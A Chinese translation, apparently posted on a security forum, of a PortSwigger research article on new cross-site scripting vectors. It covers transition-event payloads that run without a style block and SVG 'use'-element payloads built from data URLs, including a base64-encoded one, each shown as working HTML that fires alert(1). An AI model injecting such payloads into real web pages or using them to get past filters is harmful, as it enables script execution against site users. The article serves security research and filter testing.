-
-
[翻译]新的XSS载体
-
发表于: 2022-5-28 16:16 856
-
New XSS vectors
原文地址:https://portswigger.net/research/new-xss-vectors#top
翻译:梦幻的彼岸
基于无样式块的transition(过渡)事件
所以,最近,我正在更新XSS备忘单,以修复某些因浏览器更新而过时的载体。在看载体时,transition(过渡)事件一直萦绕在我的脑海中。他们需要样式块和事件:
<style>:target {color:red;}</style> <xss id=x style="transition:color 1s" ontransitionend=alert(1)></xss>
我想取消对样式块的要求。我想知道哪些浏览器的样式是默认添加的?我在网上搜索了一下,W3Schools上的一个页面引导我探索这个问题。某些标签有focus选择器--这非常有趣,因为这意味着transition(过渡)将与他们一起工作! 浏览列表时,我注意到轮廓线正在被使用,然后我记得当元素具有可访问性时,Chrome 会在元素周围放置轮廓线。
这意味着如果我们把transition(过渡)应用到轮廓属性,就可以取消样式块的要求。这个载体适用于任何focusable标签。
<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>
适当的XSS黑客攻击! 就像以前一样。
备忘单SVG“使用”元素载体
不久前,我发现了一些不错的基于SVG的载体,你可能不太熟悉。最近的一次浏览器更新修改了Chrome和Firefox的 "use "元素的行为。你现在可以在 "use "元素的数据URL内自动执行嵌入SVG的JavaScript:
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>
这是base64解码后的数据:
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'> <image href="1" onerror="alert(1)" /> </svg>
虽然你不一定要使用base64,但你也可以这样做:
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />
最后,你可以使用animate标签来改变 "use "元素的超链接(href),以执行JavaScript:
<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'> <image href='1' onerror='alert(1)' /></svg>#x" /> <use id=x />
如果你喜欢这些载体并想了解更多,我推荐你去我们的网络安全学院的XSS部分,在那里你可以通过我们的互动实验室来磨练你的技能--或者访问我们的XSS备忘单来了解更多。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-5-28 16:25
被梦幻的彼岸编辑
,原因:
赞赏
他的文章
- [原创]物联网安全:基础篇 4215
- 威胁情报小课堂:阻止活跃勒索软件的感染 2218
- [翻译]发现利用 Facebook 和 MS 管理控制台实施的 Kimsuky APT 攻击 7121
- 威胁情报小课堂:LockBit Black 2112
- 威胁情报小课堂:Nitrogen 2102
看原图
赞赏
雪币:
留言: